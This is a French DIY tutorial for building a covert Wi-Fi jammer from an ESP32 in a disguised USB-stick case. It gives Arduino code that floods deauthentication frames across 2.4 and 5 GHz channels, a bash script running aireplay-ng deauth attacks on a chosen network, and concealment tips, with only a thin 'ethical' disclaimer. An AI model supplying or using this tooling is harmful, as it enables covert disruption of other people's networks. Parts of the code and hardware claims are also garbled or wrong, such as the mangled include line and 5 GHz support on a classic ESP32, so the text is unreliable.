🎯 Un brouilleur Wi-Fi 2.4/5 GHz ultra-furtif – détection MAC auto et chaos maîtrisé
Ce DIY crée un jammer portable qui coupe les réseaux Wi-Fi en 2.4 et 5 GHz, détecte les MAC automatiquement, et brouille pendant 1 minute. Ultra-discret, parfait pour tester ou sensibiliser – toujours éthique et récup’ !
1️⃣ Le Projet Fantôme 2.0
Un brouilleur Wi-Fi USB qui passe au niveau supérieur : brouillage large bande ou ciblé, détection des MAC en live, et furtivité maximale. On hacke les ondes comme des ninjas, pour apprendre, pas pour détruire !
🔍 Fonctionnalités Upgradées
- 📶 Brouillage 2.4 + 5 GHz
- 🎯 Détection MAC auto
- ⏱️ 1 minute de chaos
- 👻 Furtivité renforcée
2️⃣ Matériel Récup’
- 📡 ESP32 : Module IoT récupéré (support 2.4/5 GHz)
- 🔌 Antenne dual-band : Désossée d’un routeur moderne
- ⚡ Alim : Pile 9V ou USB (récup’)
- 🔩 Boîtier : Clé USB ou coque Tic-Tac
- 🔧 Extras : Bouton poussoir (mini), LED discrète, résistance 220Ω
Coût : 0 € avec récup’, ~5-10 € sinon.
3️⃣ Montage Électronique
- 🔪 Soudez l’antenne dual-band sur l’ESP32 (pin ANT).
- 🔌 Connectez un petit bouton sur GPIO 4 et GND.
- 💡 Branchez une LED discrète sur GPIO 2 avec 220Ω.
- ⚡ Alimentez via USB ou pile 9V (régulateur 3.3V).
- 🔨 Cachez dans le boîtier avec colle chaude – zéro trace visible.
Schéma ASCII :
USB 5V ----+----> ESP32 (3.3V via régulateur)
|
GND ----+----> ESP32 GND
|
GPIO 4 --> Bouton --> GND
GPIO 2 --> 220Ω --> LED --> GND
→ LED cachée sous le boîtier pour max furtivité.
4️⃣ Code sous Kali
🔧 Code ESP32 (Arduino IDE)
#includeint buttonPin = 4; int ledPin = 2; bool jamming = false; String target_mac = ""; void setup() { pinMode(buttonPin, INPUT_PULLUP); pinMode(ledPin, OUTPUT); WiFi.mode(WIFI_STA); WiFi.disconnect(); digitalWrite(ledPin, LOW); scanForTarget(); // Scan initial } void scanForTarget() { WiFi.scanNetworks(true); // Scan asynchrone int n = WiFi.scanComplete(); if (n > 0) { target_mac = WiFi.BSSIDstr(0); // Prend la 1ère MAC détectée Serial.println("Cible MAC : " + target_mac); } } void loop() { if (digitalRead(buttonPin) == LOW && !jamming) { // Bouton pressé jamming = true; digitalWrite(ledPin, HIGH); // LED discrète ON unsigned long startTime = millis(); while (millis() - startTime < 60000) { // 1 minute for (int channel = 1; channel <= 13; channel++) { // 2.4 GHz esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); sendDeauth(target_mac, channel); } for (int channel = 36; channel <= 165; channel += 4) { // 5 GHz esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); sendDeauth(target_mac, channel); } delay(10); } jamming = false; digitalWrite(ledPin, LOW); // LED OFF } } void sendDeauth(String mac, int channel) { uint8_t deauth_packet[] = { 0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Remplacez les 6 octets suivants par la MAC cible (ex. "AA:BB:CC:DD:EE:FF") 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, // MAC source (ESP32) 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }; esp_wifi_80211_tx(0, deauth_packet, sizeof(deauth_packet), false); }
→ Flash via sudo apt install arduino. Lib : ESP32WiFi. Note : Adaptez la MAC dans deauth_packet.
🛠️ Contrôle et Scan via Kali
#!/bin/bash
# Scan des réseaux et MAC
echo "🔍 Scan en cours..."
iwlist wlan0 scan | grep -E "ESSID|Address"
# Lancer une attaque deauth ciblée
read -p "Entrez le SSID à brouiller : " ssid
sudo aireplay-ng --deauth 100 -e "$ssid" wlan0
# Vérifier
nmcli dev wifi list
→ Sauvez comme jammer.sh, chmod +x jammer.sh.
5️⃣ Test et Furtivité Max
- 🔌 Branchez sur une batterie USB.
- ▶️ Appuyez discrètement – LED clignote une fois, brouillage 1 min.
- 📡 Vérifiez avec
nmcli dev wifi list– plus rien !
→ Boîtier neutre, LED cachée, aucune trace physique.
6️⃣ Astuces Pro
- 🎯 MAC multiple : Stockez +ieurs MAC dans un tableau.
- 🔋 Autonomie : Pile LiPo + chargeur USB.
- 📱 Bluetooth : Ajoutez
BluetoothSerial.hpour contrôle. - 👻 Camouflage : Peignez en noir mat ou imitez une clé USB banale.
🎓 Conclusion Éthique
Ce Wi-Fi Ghost Jammer 2.0, c’est du DIY ninja : 2.4/5 GHz, MAC auto, 1 min de silence radio. Testez, sensibilisez, mais restez dans les clous – on hacke pour le savoir, pas le chaos !